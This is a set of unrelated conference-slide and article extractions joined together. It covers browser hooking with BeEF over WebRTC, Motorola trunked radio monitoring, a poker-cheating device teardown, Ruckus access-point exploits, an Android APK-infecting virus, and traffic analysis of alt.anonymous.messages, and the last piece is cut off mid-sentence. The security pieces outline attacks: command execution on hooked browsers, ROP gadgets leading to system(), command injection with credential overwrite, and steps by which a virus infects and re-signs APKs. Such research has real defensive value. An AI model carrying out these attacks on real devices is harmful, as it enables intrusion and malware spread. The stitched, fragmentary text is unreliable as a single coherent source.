Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers Or… DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers U mad? DEFCON 23 @xntrik Vegie Browsers WebRTC is a free, open project that enables web browsers with Real-Time Communications (RTC) capabilities via simple JavaScript APIs. $ wget http://www.webrtc.org/ $ wget http://io13webrtc.appspot.com/ DEFCON 23 @xntrik Vegie Browsers $ ./webrtc_functions.sh • MediaStream • RTCPeerConnection • RTCDataChannel DEFCON 23 @xntrik Vegie Browsers $ cat mediastream.js DEFCON 23 @xntrik Vegie Browsers $ cat rtcpeerconnection.js $ cat rtcdatachannel.js DEFCON 23 @xntrik Vegie Browsers $ cat cat.gif v=0 o=- 7614219274584779017 2 IN IP4 127.0.0.1 s=- t=0 0 a=group:BUNDLE audio video a=msid-semantic: WMS m=audio 1 RTP/SAVPF 111 103 104 0 8 107 106 105 13 126 c=IN IP4 0.0.0.0 a=rtcp:1 IN IP4 0.0.0.0 a=ice-ufrag:W2TGCZw2NZHuwlnf a=ice-pwd:xdQEccP40E+P0L5qTyzDgfmW a=extmap:1 urn:ietf:params:rtp-hdrext:ssrc-audio- level a=mid:audio a=rtcp-mux a=crypto:1 AES_CM_128_HMAC_SHA1_80 inline: 9c1AHz27dZ9xPI91YNfSlI67/EMkjHHIHORiClQe a=rtpmap:111 opus/48000/2 $ cat modules/host/ get_internal_ip_webrtc/ command.js DEFCON 23 @xntrik Vegie Browsers Signalling Signalling Media/Data DEFCON 23 @xntrik Vegie Browsers Signalling Signalling DEFCON 23 @xntrik Vegie Browsers Signalling Signalling STUN STUN $ wget https://tools.ietf.org/html/rfc5389 DEFCON 23 @xntrik Vegie Browsers Signalling Signalling STUN STUN TURN TURN Media/Data $ wget https://tools.ietf.org/html/rfc5766 DEFCON 23 @xntrik Vegie Browsers $ wget https://tools.ietf.org/html/rfc5245 Got ICE? $ touch the_scene.txt Step 1 - Hook Browsers hook.js hook.js DEFCON 23 @xntrik Vegie Browsers Step 2 - Initialise Beefwebrtc You are the caller You are the receiver BeEF poll BeEF poll DEFCON 23 @xntrik Vegie Browsers RTC offer and ICE candidates Step 3 - Caller sets up RTCPeerConnection Signalling DEFCON 23 @xntrik Vegie Browsers RTC offer and ICE candidates Step 4 - Receiver receives offer and begins ITS RTCPeerConnection BeEF poll DEFCON 23 @xntrik Vegie Browsers RTC answer and ICE candidates Step 5 - Receiver sends RTC answer and ITS ICE candidates Signalling DEFCON 23 @xntrik Vegie Browsers RTC answer and ICE candidates Step 6 - Caller receives RTC answer from its peer BeEF poll DEFCON 23 @xntrik Vegie Browsers Step 7 - Browsers establish peer connectivity via shared ICE candidates RTCPeerConnection DEFCON 23 @xntrik Vegie Browsers Step 8 - Woot! iceConnectionState = connected iceConnectionState = connected Send ‘okay’ RTCDataChannel DEFCON 23 @xntrik Vegie Browsers Still hooked? hook.js hook.js RTCDataChannel DEFCON 23 @xntrik Vegie Browsers !gostealth hook.js RTCDataChannel DEFCON 23 @xntrik Vegie Browsers $ curl /api/webrtc/cmdexec hook.js RTCDataChannel command module DEFCON 23 @xntrik Vegie Browsers $ ./run_demo.sh WORK IN PROGRESS DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers $ cat issues.txt DEFCON 23 @xntrik Vegie Browsers Issues with FF <-RTC-> Chrome DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers Reliability with using UDP RTCDataChannels? DEFCON 23 @xntrik Vegie Browsers IE doesn’t support WebRTC $ curl http://iswebrtcreadyyet.com/ DEFCON 23 @xntrik Vegie Browsers But I is stuck? RTCDataChannel ???? DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers DEFCON 23 @xntrik Vegie Browsers $ vim todo.txt • Handle remote peers better (Integrate TURN into BeEF server?) • Handle peer termination better • Round-robin peers (?) • Further investigation into WebRTC enterprise network exfiltration DEFCON 23 @xntrik Vegie Browsers $ cat thanks.txt • Wade, @antisnatchor and everyone who helps/ ed with BeEF & The Browser Hacker’s Handbook! • Asterisk Crew (@asteriskinfosec) • All you funny bastards on Twitter • Ten & Stel DEFCON 23 @xntrik Vegie Browsers Qs? DEFCON 23 @xntrik Vegie Browsers
pdf
Tracking Motorola Systems http://www.signalharbor.com/ttt/00mar/index.html 1 of 5 6/18/2007 14:07 This article first appeared in the March 2000 issue of Monitoring Times. TRACKING MOTOROLA SYSTEMS The most common trunked radio systems in use by public safety agencies in the United States are those manufactured by Motorola. This month we'll briefly review the different systems and go into more detail with each one in the coming months. Broadly speaking, there are four main types of Motorola systems. They are Type I, Type II, Type I/II hybrids, and ASTRO. With the exception of ASTRO, voice transmissions in these systems are analog, meaning you can hear them on a regular scanner. Motorola Type I Type I is a first generation trunking system that operates only in the 800 MHz range. You may also run across the phrase "Privacy Plus," which started out in life as a Motorola marketing term for a Type I system. Type I systems are somewhat more confusing to a beginning listener because of the way talk groups are assigned. As you may recall from previous columns, conventional (non-trunked) two-way radio creates talk groups by assigning a different radio frequency to each group of users. In trunked radio systems, a small set of radio frequencies is shared among a number of groups, with each group having their own "talk group" identifier. In a public safety system, for example, a city may have the police department in one talk group, the fire department in another talk group, and the streets and sanitation department in a third talk group. These talk groups are distinguished by digital codes that the radios transmit and receive. Fleets and Subfleets Type I systems are organized into a hierarchy of fleets, subfleets, and users. Each fleet is made up of several subfleets, and each subfleet in turn is made up of individual radio identifiers. A fleet is usually a group of subfleets that all work for the same organization, like a police or fire department. Each of those subfleets is made up of individual users who have the same kind of job and don’t usually need to talk to other subfleets. Within a police department fleet, for instance, you may have patrol, detective, and traffic subfleets, and each of those subfleets will be made up of individual officers. Each Type I system has a fixed number of fleets, subfleets, and radio identifiers. Some users may need many fleets with just a few subfleets and numerous individual radios, while others may require just one fleet with many subfleets and a handful of individual radios. Type I system designers must plan for growth in the beginning, since the number of identifiers any fleet or subfleet can support is limited and the selections are not easily changed once a system is running. Radio Addressing Radios in any trunked system have a digital "address" that uniquely identifies them and are held in a part of the radio called a "code plug." Addresses are part of what mobile radios and repeaters transmit, and what trunk-tracking scanners decode. Address information in a Type I system is broken up into eight blocks, numbered zero through Tracking Motorola Systems http://www.signalharbor.com/ttt/00mar/index.html 2 of 5 6/18/2007 14:07 seven. Each block is assigned a "size code" that determines how many fleets, subfleets, and individual radio identifiers can be supported in that block. For instance, a block with a size code of S-2 can support, at most, 16 fleets, 8 subfleets per fleet, and 64 individual radio identifiers per subfleet. Size codes S-12, S-13, and S-14 are special in that they take up more than one block. S-12 uses two blocks, S-13 uses four blocks, and S-14 takes up all eight blocks. MAXIMUM VALUES FOR TYPE I SYSTEMS Motorola Size Code Uniden Size Code Fleets Subfleets IDs A S-0 (used with Type II systems) B S-1 128 4 16 C S-2 16 8 64 D S-3 8 8 128 E S-4 1 16 512 F S-5 64 4 32 G S-6 32 8 32 H S-7 32 4 64 I S-8 16 4 128 J S-9 8 4 256 K S-10 4 8 256 L S-11 2 16 256 M S-12 1 16 256 N S-13 1 16 1024 O S-14 1 16 2048 Q S-15 1 16 4096 A "fleet map" is the size code for all eight blocks. The combination of block, fleet, subfleet, and radio identifier is a Type I address that uniquely identifies a radio. Scanning Chicago's O'Hare Airport The Command Center at O'Hare International Airport in Chicago uses a Type I trunking system for a variety of ground operations, including security, fire, and parking. They are assigned seven radio frequencies: 856.7625 MHz, 857.7625 MHz, 858.7625 MHz, 859.7125 MHz, 859.7625 MHz, 860.7125 MHz, and 860.7625 MHz. Trunk-tracking scanners come with a number of preprogrammed fleet maps. For O'Hare, the fleet map that seems to work well is E1P4, which looks like this: BLOCK SIZE CODE 0 S-12 1 - 2 S-4 3 S-4 4 S-4 Tracking Motorola Systems http://www.signalharbor.com/ttt/00mar/index.html 3 of 5 6/18/2007 14:07 5 S-4 6 S-4 7 S-4 Blocks 0 and 1 are used by S-12, which supports one fleet with sixteen subfleets and 1024 unique radio identifiers. Assignments of each subfleet, as reported by listeners, is as follows: FLEET SUBFLEET ASSIGNMENT 000 01 Dispatch 000 02 Trades 000 03 Electrical 000 04 HR 000 05 Construction 000 06 Parking 000 07 Ground Transportation 000 08 F 100 000 09 Police 000 11 Fire 000 12 Operations 000 13 Security 000 14 Emergency 000 15 Aircraft Rescue and Fire Fighting 000 16 Accident Control Motorola Type II Type II systems are the second generation of Motorola trunking technology, which they sell under the trademark "SmartNet." These systems operate in the 800 MHz, 900 MHz, VHF, and UHF bands and provide emergency signaling, enhanced security, remote monitoring, and more flexible grouping options. Type II systems can have, at most, 28 radio channels and 4000 talk groups, but the most significant difference to a radio listener is the change in how radios are addressed. Type II radios use two different types of addresses, a radio identifier and one or more talkgroup codes. Every radio in the trunked system has assigned to it a unique, individual identifier. Every talkgroup also has a unique identifier, designated by a hexadecimal code. A radio may be added to a talk group by simply adding the corresponding hexadecimal code to the radio. Because radio identifiers are separate from talkgroups, there is no need to reprogram every radio in the system and no limit to the number of radios that can participate in a talkgroup. Scanning Disneyland Disneyland amusement park in Anaheim, California, is reported to use a Type II system for security and park operations. I’ve gotten one report that they use five frequencies in the 800 MHz band, namely 861.5125 MHz, 862.5125 MHz, 863.5125 MHz, 864.5125 MHz and Tracking Motorola Systems http://www.signalharbor.com/ttt/00mar/index.html 4 of 5 6/18/2007 14:07 865.5125 MHz, but the more likely frequencies are 938.3875 MHz, 938.4000 MHz, 938.4375 MHz, 938.4500 MHz, 938.4625 MHz, 938.4750 MHz, 938.4875 MHz, and 938.5000 MHz. The Anaheim Police Department is supposed to have a patch into the system as well. Can anyone confirm the proper frequencies and talkgroups? Type II systems may also be linked together to form a "SmartZone" (another Motorola marketing term). As many as 48 sites can be interconnected using microwave or landline links to provide communications over a wide area. Mobile radios transmit to the nearest site but can participate in a talkgroup with other radios operating through other sites. Motorola Type I/II Hybrid A hybrid system contains a mixture of Type I and Type II radios. It is often used by an organization that is transitioning to a Type II system but wants to keep using their old Type I equipment. Hybrid systems can be confusing to trunk-tracking scanner listeners, since the received signal may contain both talkgroups and fleet/subfleet addresses. Scanning Arlington, Texas The city of Arlington, Texas uses a hybrid system on the following eight radio frequencies: 856.4875 MHz, 856.7125 MHz, 857.4875 MHz, 857.7125 MHz, 858.4875 MHz, 858.7125 MHz, 859.4875 MHz, 859.7125 MHz, 860.4875 MHz, and 860.7125 MHz. The appropriate fleet map for Arlington looks like: BLOCK SIZE CODE 0 S-4 1 S-11 2 S-12 3 - 4 S-11 5 S-0 6 S-0 7 S-0 The fire department uses Type I fleet addresses beginning with 100 and the police use Type I fleet addresses beginning with 200. Other services use fleets 000 and 101. The University of Texas at Arlington shares the system and uses several talkgroups with Type II addressing. Motorola ASTRO ASTRO is a Motorola trademark for their line of digital voice radios. An ASTRO system is similar in concept to a Type II system except that a user's voice is transmitted in digital rather than analog form. This means that scanners on the market today cannot decode the voice portion of the conversation. ASTRO is Motorola's answer to APCO Project 25. The Association of Public Safety Communications Officials (APCO) began Project 25 to produce a set of technical standards for Tracking Motorola Systems http://www.signalharbor.com/ttt/00mar/index.html 5 of 5 6/18/2007 14:07 land mobile radios. These radios are designed meet the needs of public safety users and allow maximum interoperability between different jurisdictions, including local, state, and federal government agencies. These standards are open and available to the public, although the complete printed set of documents is rather expensive (more than $2500). The most annoying part of the standard as far as scanner listeners are concerned is the digital voice transmissions. Look for more information on that subject in a future column. Large municipalities, such as Cleveland and San Diego County, California are the main customers for ASTRO. Several statewide systems are also in operation, including Florida, Massachusetts and Michigan. One of the more recent conversions to ASTRO is the city of Baltimore, Maryland. Their $65 million system came on-line last November with 28 channels and nine simulcast sites. More than 5,000 mobile and portable radios are using the 800 MHz system. Last July the city of Philadelphia signed a $51 million contract for two 15-channel ASTRO systems linked via SmartZone. More than 6,000 radios are expected to operate over their system. That's all for this month. I welcome your comments, questions, frequency lists and talkgroup information via electronic mail at [email protected]. You can also check my website at www.decodesystems.com for more information on wireless communication. Until next time, happy monitoring! Comments to Dan Veeneman Click here for the index page. Click here for the main page.
pdf
ly.tl/poker Elie Bursztein Celine Bursztein Jean Michel Picod ly.tl/poker Spectre ly.tl/poker Inception ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker Device ly.tl/poker ly.tl/poker ly.tl/poker Visible differences Galaxy Core Poker cheating device ly.tl/poker Security measures ADB / debug mode gone No “easy” way to get the APK / analyze what is happening Screenshot shortcut disabled & framebuffer owned by root Prevent to do screenshot / screencap either via SSH or UI Activation code sent separately Prevent activation of a “lost” device ly.tl/poker Fun facts Cheating hardware hidden from the UI/system No way to trigger the system without the correct application / setup Backdoor? No need for network or SIM Lots of phone home code in the APK and lot of weird APK in the phone Custom rom with custom kernel Chinese 4.2.2 Jelly Bean ROM AOSP ly.tl/poker The app App walkthrough Casino royale ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker Number of players Result Feedback device Game type in use Cards as seen by camera face down Up Down ly.tl/poker Fun facts Super user password hard coded in string file... The app has a super user password that allows access on any devices Most of the interesting features are in a kernel module Remote devices control and cards recognition handled by a kernel module App(s) not obfuscated Easy to read as 123 if you know Java :) ly.tl/poker Basic principle How does this thing work anyway?? Underlying principle The World Is Not Enough ly.tl/poker ly.tl/poker Phone B&W camera IR LEDs IR passband plastic housing IR illumination ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker Camera Custom chip ly.tl/poker RF Bluetooth antenna LEDS ly.tl/poker Card marking How does this thing work anyway?? Cards marking Casino Royale ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker Marked cards vs regular cards Marked cards Regular cards Device camera view ly.tl/poker Card encoding ly.tl/poker ly.tl/poker Feedback devices Feedback devices Quantum of Solace ly.tl/poker Number of players Sound on/off ly.tl/poker Intercepting radio-command Center frequency: 868.289 MHz Data rate: 2400bps Measured Δf =19kHz 2-FSK modulation ly.tl/poker ly.tl/poker Volume Sound on/off “necklace” ly.tl/poker ly.tl/poker ly.tl/poker “Mini vibrators” Bluetooth P4 receiver ly.tl/poker Sneaky time display ly.tl/poker External Camera Wireless camera ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker ly.tl/poker Battery Battery housing Hidden Wireless camera ly.tl/poker ly.tl/poker IR LED Camera ly.tl/poker Camera ly.tl/poker Antenna MCU 8051 Transmission module ly.tl/poker Transmission module VM152T ly.tl/poker ly.tl/poker Transmission analysis metadata? image ly.tl/poker Transmission analysis One full image ly.tl/poker ly.tl/poker Open questions Who created such device? Casinos? Level of sophistication means either stolen tech or large underground market Who is ripping who? Where is this thing actively used? Need detection means and field study! Where is the ink is coming from? You can’t buy it easily - only for secure marking of docs ly.tl/poker Takeway James Bond devices exist! They are hard to find but reality match fiction Crimeware can be super sophisticated While NSA have cool tools, the crime mob does too! A very diverse skillset is required to tackle this type of device infiltration, hardware analysis, software analysis, RF analysis, Vision Alg. ly.tl/poker Co-conspirators Pixel: Hardware specialist Vivi: Chinese blackmarket infiltration expert ly.tl/poker Thanks!
pdf
Don't Ruck Us Again The Exploit Returns echo $USER ● Gal Zror - @waveburst ● Security research leader at Aleph Research by HCL AppScan ● 10+ RE, 0days, Exploits, embedded Linux devices Recap ● Credential leakages + SSH jailbreak ● Unauth stack buffer overflow ● Command injection + Auth bypass R510 Unleashed ● AP: C110, E510, H320, H510, M510, R310, R500, R510 R600, R610, R710, R720, T300, T301n, T310d, T610, T710 ● ZoneDirector line ● Unleashed Firmware <= (200.7.10.102.92) What’s New? ● Patch did not fix all vulnerabilities ● Now I own a device ● New Ghidra script Previous script New script Script output Example Embedthis code Ruckus code Unknown code Ghidra script - ReplaceFuncNameFromSource ● github.com/alephsecurity/general-research-tools First Attack Scenario Demo Time! IN CASE DEMO GODS ARE WRATHFUL CLICK LINK Web interface ● /bin/webs ● /bin/emfd ● /usr/lib/libemf.so Web interface Mark ruckus functions Web interface - /bin/webs Unsafe string copy Grep it wlanSysConfirm.jsp Smashing Exploitation Gadget 1 - sub sp, fp, #0x14 ; pop {r4, r5, r6, r7, fp, pc} Gadget 2 - mov r0, r4 ; pop {r4, pc} Call System() Other Attacks Other vulnerabilities found ● XSS ● DOS ● Info leak -> jailbreak Cross-Site Scripting Denial of Service Information Leakage Second Attack Scenario Command injection Command injection Patched command injection is_validate_input_string() Spot the Characters Shebang Previous Command Injection New Command Injection system.xml Credentials overwrite CheckResetCredentialConfPara Ajax Request AjaxConf adapter_setConf repoGetCurChild Slash!!! Overwrite Chaining + Footprinting Demo Time #2 IN CASE DEMO GODS ARE WRATHFUL CLICK LINK ● Current research: ○ 2 different RCEs: ● #1 - pre-auth stack overflow ● #2 - command injection + cred overwrite ○ New Ghidra script ● Previous research: ○ 3 different RCEs ○ Tools - QEMU dockers and Ghidra script Conclusions Final thoughts ● Research = Fun ● Follow-up research = More Fun ● Blog post at alephsecurity.com Thanks alephsecurity.com @alephsecurity @waveburst
pdf
APK File Infection on Android System Bob Pan Mobile Security Research Engineer July 27, 2012 Who is Bob? Mobile Security Industry Trends Malware increasing on “App Stores” Chris Di Bona from Google, November 2011: ”virus companies are playing on your fears to try to sell you bs protection software for Android, RIM and IOS. They are charlatans and scammers. IF you work for a company selling virus protection for android, rim or IOS you should be ashamed of yourself.” “The barriers to spreading such a program from phone to phone are large and difficult enough to traverse when you have legitimate access to the phone, but this isn’t independence day, a virus that might work on one device won’t magically spread to the other.” All the major vendors have app markets, and all the major vendors have apps that do bad things, are discovered, and are dropped from the markets. Industry Trends Google’s Bouncer Google’s Bouncer effective? Android Malware http://blog.trendmicro.com/how-big-will-the-android-malware-threat-be-in-2012/ Where’s the challenge? The Inside of an APK File • AndroidManifest.xml contains the meta information; – Package name & version – Activities – Services • classes.dex contains all the code for Dalvik Virtual Machine. • META-INF/ contains the certificate and signature. APK are signed zip files The AndroidManifest File Google’s Binary xml File • Format is not documented • Tools for reading Binary xml files are readily available • Tools for writing Binary xml files are limited The Dex File Dalvik Executable Format • Format is well documented • Many modification tools available – asmdex – smali/baksmali – Dexmaker • APKs can only use 16 to 32MB of memory so a separate Dalvik VM should be started The META-INF/ Folder Certificate & Signature • Format is well documented • Many creation tools available • jarsigner from JDK • signapk from Android Source • Minor modifications must be done to run on an Android device Infection Demonstration Architecture of the Virus The “Payload” of the Virus The “Loader” of the Virus • Locate uninfected APK file • Inject Part A into classes.dex and AndroidMainfest.xml • Copy itself to the APK file • Sign the APK file • Prompt the User to install the APK file • Extract & load Part B • Initiate Part B Part A Part B Infection Cycle Virus Begins Part A Begins Part B Begins APK Infected 谢谢! Thank You! [email protected] Feel free to contact me anytime at
pdf
Hello, and Welcome. My name is Tom Ritter, and I work for iSEC Partners. If you don’t know who Zax is, you will by the end of this talk. This talk is about an anonymity network that was started in the fledgling days of the Cypherpunk era – the early 1990s. This book hadn’t even come out yet – this is the second edition. But this is the first edition, and it had come out, and the US had ruled you while you could export the book itself, you couldn’t export the floppy disk with the source code. The United States government was actively investigating Phil Zimmerman for violating the Arms Control Export Act, for making the first few versions of PGP available. Dan Bernstein and the toddler-aged EFF went on the offensive taking the US government to court and suing over the export controls on cryptography. Another group of people ultimately printed the source code for PGP, exported the book to Europe, scanned it in, and OCR-ed it in 1997 releasing a version of PGP that bypassed export controls Alt.Anonymous.Messages was forged in the heyday of the cypherpunks, and really, overall, has changed very little in the intervening decade since it was last shaped in any major way. And in that decade, what we have seen is a monumental focus of the nations spy 1 agencies on not what was thought to be the most critical piece of information to encrypt – the content itself. But instead…. 1 The people who know won’t talk, and the people who talk don’t know. But the leaked court orders require Verizon to turn over call records local and abroad. Now, I’m talking here, so I don’t know anything and am just speculating – but the most straightforward thing to do with this data is to build communication graphs. Analyze the metadata, looking for patterns. Identify people of interest, and figure out who they talk to. The metadata around an encrypted channel tells volumes. 2 SSL, is the most widely used encrypted channel on the internet today. And even ignoring the numerous attacks we’ve seen on it in the past few years, and even ignoring how it breaks just about every cryptographic best practice there is – there is a wealth of information you can learn from observing an SSL session. There are protocol level leaks – SSL says a lot about what type of client you’re using, and it’s version. It also includes what you think the local time is. 3 But from an information theoretic perspective, an adversary can see that you’re sending packets, and communicating. That seems obvious, of course they can – but it’s important to bear in mind for the future. Ideally, our adversary wouldn’t even know if we’re communicating. Secondly, SSL makes no attempt at hiding who you’re talking to. So the fact that you’re on Facebook is straightforward. And similarly, the adversary knows when you’re on Facebook. And when you are sending data and when you are receiving data. The resolution on this goes down literally to the microsecond. So they know exactly when, and they also know exactly how much data you receive. SSL doesn’t have any real padding, and I don’t know of any website that adds variable padding to frustrate length analysis. 4 So let’s talk about Tor. Tor is an implementation of Onion Routing, where you pass messages along a chain, each node peeling off a layer of encryption, until an exit node talks to the intended destination. The destination responds, and it’s routed back. 5 Onion Routing specifically aims to disguise Who is talking. An adversary observing you can’t see that you’re talking to a website (or a service), and an adversary observing that website or service can’t see who is talking to that website. But it doesn’t stop an adversary from knowing you’re talking to someone, knowing when you’re talking, and how much you’re saying. Tor doesn’t really do padding what little it does is not intended to be a security feature. Tor explicitly leaves _out_ link padding. 6 And if you stayed through Runa’s talk, you know that Tor cannot protect you if the adversary can see the entire path of the circuit. Let’s say hypothetically, New Zealand, Australia, the US, Canada, and the UK were to, say, conspire secretly on some sort of spy program. Well if your circuit went through those countries – Tor can’t help you. The adversary can track your traffic, and find out who you’re talking to. I’m not saying this is actively happening, I’m saying we’ve proved in papers that it’s possible, and it’s outside Tor’s threat model. 7 And a slightly more difficult version of that attack is if the adversary can see you, and then see the last leg of the path later on, like say, you’re in China visiting a Chinese website. Well, they can do a similar attack, and track you down. It requires a little bit more math, but again, we’ve proved it’s possible, and it’s outside Tor’s threat model. And this is particularly concerning seeing as I, like most of you probably, are in the US…. And so much of what we do online is hosted in the Virginia datacenter of EC2. 8 So if either of those two cases apply, we’re basically back at SSL, because the adversary can tell who you’re talking to. 9 And at this point, I think it’s worthwhile to show a couple of attacks on metadata. IOActive built a proof of concept traffic analysis tool, that looks at your SSL session with Google, and figures out what part of google maps you’re looking at – all based off the sizes of the tiles you’re downloading over SSL. It’s worthwhile to note this is an attack on a client, on someone browsing google maps at that moment. I want to show an alternate example. 10 You’re sitting on facebook, with facebook chat enabled – all over SSL. Heck, all over Tor. Well Facebook chat acts as a _server_ - you are able to receive messages from people, and they will be pushed down to you. The *attacker*, not you, determines when you will receive a message. That’s a pretty powerful capability, and it can lead to time-based correlation attacks. An adversary sends you a message, and then looks at all the people connected to Facebook, or Tor, and sees who recieves a message right after that. 11 And even easier, because Facebook chats tend to be small – it can lead to size-based correlation attacks. Now not only do I send you a Facebook chat, but I send you a HUGE Facebook chat. With only a couple of trials you can be pretty confident that the user whose internet connection you’re monitoring is the same anonymous Syrian dissident you’re messaging on Facebook. And it’s interesting to note that a very similar attack was used to de-anonymize Jeremy Hammond, who is currently awaiting trial for allegedly dumping Stratfor’s mailspools. The police staked out his home, watched him enter, saw some Tor traffic, and whoop – the username they thought was him, popped onto IRC. Classic traffic confirmation attack. And I’ve gotten some comments they also cut his Internet connection, and watched him drop off IRC, but I haven’t seen the police logs from that side of things – if that is true, that’s another type of traffic confirmation attack on a low latency connection. http://arstechnica.com/tech-policy/2012/03/stakeout-how-the-fbi-tracked-and- busted-a-chicago-anon/ 12 Now the good news is that even if the adversary can see the start and end nodes, or even the entire path, there is a way to disguise who you’re talking to. And that’s Mix Networks. Mix Networks introduce a delay, while they collect messages into a pool, and then fire them all out. Collecting the messages prevents an adversary who’s observing the mix from knowing what message went where. It introduces uncertainty. Mix Networks are a super important part of anonymous communication, that I want to encourage the growth of, so I want to take a quick minute to demonstrate it to you, live on stage. 13 Alright, so Mix Networks demonstrated, we’ve gained back a certain amount of protection against figuring out who it is I’m communicating with. Given enough time, or a low enough traffic volume, an adversary can perform the same types of attacks I described against Tor – but it takes a lot more observation. And the easiest thing to learn, that takes no time or analysis, is the fact that I’m communicating, when I send a message, and how large it is – that is still apparent to someone observing my network connection. 14 Enter Shared Mailboxes, and Alt.Anonymous.Messages. A shared Mailbox is what is sounds like. Imagine an email account where everyone in the room has the username and password – but it’s read only access – you can’t delete messages, or even send them from this mailbox. All of the messages are encrypted, so what you do, as one of the people with access to this inbox, is download all the messages, and try and decrypt each message with your private key. 15 And a couple of those messages happen to be for you. The rest, you can’t decrypt, so they must not be. 16 Well, someone watching this encrypted connection can tell that you’re accessing the shared mailbox, and downloading all of the messages – that’s certain. But they don’t actually know if you’ve received messages – they only know that you downloaded all of the messages, not if you could decrypt any of them. And because of that, they don’t know when you’ve received a message, who it was from, or how large it was. All they know if that you’re checking the mailbox. At the cost of a lot of bandwidth, receiving messages via a Shared Mailbox provides an awful lot of security comparatively! 17 Now, shared mailboxes are an awesome anonymity tool, but the difference between an awesome anonymity tool and an anonymity tool that’s actually used is the answer to the question: “Can I interact with the rest of the world?” Tor, wildly successful compared to other systems, because you can browse the actual internet with it. It’s not a closed system where you only interact with hidden services. So for a shared mailbox to actually be used, it needs to interact with normal email. That’s where nymservs come in. The simplest nymserv, the newest and easiest to use, receives a message at a domain name, and post it immediately to alt.anonymous.messages. This is a nymserv written by Zax, and it’s on github. 18 The much more complicated Type I or ghio nymservs can forward the mail to another email address, directly to alt.anonymous.messages, or route it through a remailer network to eventually wind up one of those two places. I’ll talk more about this nymserv later on. 19 So if we add in nymservs, Shared Mailboxes have awesome anonymity for the recipient. When you send a message to a nym that uses a shared mailbox, you’re ideally using an Onion Router or a Mix Network (although you don’t have to), and thus have those security properties – an adversary can see that you’re sending a message, when you sent it, and how large it was 20 So, now that I’ve walked through the security properties of the different types of anonymity networks, let’s actually dive into AAM. It should have really strong security, afterall it’s the most theoretically secure. If you’ve never looked at it before, this is what it looks like in Google Groups. A bunch of hexadecimal subjects, posted by Anonymous or Nobody 21 And any individual message usually looks like a PGP Message that may or may not have a version string. 22 There’s about 190 messages posted per day these days, but what’s interesting is while the average certainly has decreased over the last decade, it’s held somewhat steady in the last 5 years. 23 The dataset I worked off of was about 1.1 million messages from the last ten years. Now we can already see some shortcomings here. Over half of the messages in my dataset go through nodes operated by two people. The network diversity is horrible, and the network itself would be thrown into disarray if either one of these folks got subpoena-ed, shut down, or retired. But, it’s actually much worse than this slide. 603,844 / 1,128,312 = 53.5% Dizum: 416579 Zax: 192317 24 You see that 53.5% statistic was over the entire dataset. Today, these two folks make up virtually all of AAM. That dip: 7,800 messages through Frell, which operates a remailer and a newsgateway Subject: España busca que el consejo resuelva problema de activos tóxicos No unique headers, identical PGP signaturas of Tag types 10,3,9 I couldn’t get much out of those messages, other than that someone sent out 7800 messages in a group, over a short timespan, and then stopped.. 25 So, with network diversity pretty clearly abolished, let’s take a look at the data, and see what types of analysis we can do. 26 I don’t think I can say anything as ironic as this quote, which I pulled from literally, 1994. Read it And here we are, just shy of 20 years later. 27 So the first thing to do is to break it up by PGP or Not-PGP. And you can see it’s overwhelmingly PGP messages. So, really quickly, what are the non-PGP messages? 28 Well, I was trying to come up with a nice way to say crackpots – I’m not sure if I succeeded. But there are several people who have and continue to post just… random… rants. About… I’m not really sure. And there are actually Frequently Asked Questions that have sprung up in response to the crackpots, because people were just getting flat out confused. 29 So, besides those there are some other non-PGP messages. I think most interesting is a set of about 10K messages with the subject ‘SATANIC OPERATION’ , or OPERATION SATANIC. What’s interesting about these messages is they’re clearly ciphertext, but alphabetic. If you look at a single message, you almost think it’s a Ceaser Cipher, or a Vigenere, or a polyalphabetic. But if you analyze the messages in whole, you discover a 16 letter alphabet with a perfectly even distribution. In other words, I think it’s a substitution cipher into Hexadecimal. And the even distribution implies it’s ciphertext of some sort. And there are other message clumps similar to this, so if you’re into this sort of analysis, have at it! 30 So the next thing to look at is what percentage of messages were delivered to AAM via a nymserv or a remailer. These numbers are going to be a bit off, since some of the PGP or Remailed messages are actually to nyms, and some of the PGP messages may be through remailers I don’t know about. But it’s something. We can see that a large portion are messages to nyms, which will be important when I eventually tell you how many nymservs are actually running. 31 All right, so those somewhat interesting statistics aside – let’s start diving into all of those hundreds of thousands of encrypted messages. So if you didn’t know, OpenPGP consists of packets, and each packet type does something slightly different. There’s a packet type for a message encrypted to a public key, and a different packet type for a message encrypted to a passphrase. 32 So what are these packet types. These graphs show the popularity of each of the different packet signatures, i.e. packet 1, followed by packet 9 The top 5, the ones on the bottom, are the ones you’d expect to see. 33 1 is messages encrypted to a public key. 34 3 is Messages encrypted to a passphrase. 35 The actual ciphertext of a message is 9 or 18 for old-style or new-style. And I separated out the messages sent to a single public key vs. ones sent to multiple. 36 There are two that are weird. These are packet types you’d expect to see after you *decrypted* a message. These are plaintext packets. There are actually a small number of messages that look like OpenPGP data – they’ve got the BEGIN PGP MESSAGE ticker and they’re base64ed – but they’re actually plaintext. Just hiding in plain sight. 37 And if we look at packet type 8 – this is what we get. It really just is compressed plaintext data. Unfortunately, it’s also nonsense. I don’t know if there’s a code there or not, but I didn’t spend any time on it, I figured “Iran ongoing bizarre sabbatical” probably came out of some makov generator somewhere. So I moved on to… 39 The messages that were sent to public keys. It’s super obvious to do analysis based on the public keys in the message. I promise you the analysis gets more complex later. But lets look at KeyIDs. 40 So obviously the KeyIDs are a pretty powerful segmenting tool. So I wanted to illustrate a couple of examples where the KeyIDs tell us more. There was one KeyID that was messaged very reliably through a nymserv. Except for 2 messages sent through EasyNews. If you track down the very unique easynews gateway + User Agent, we 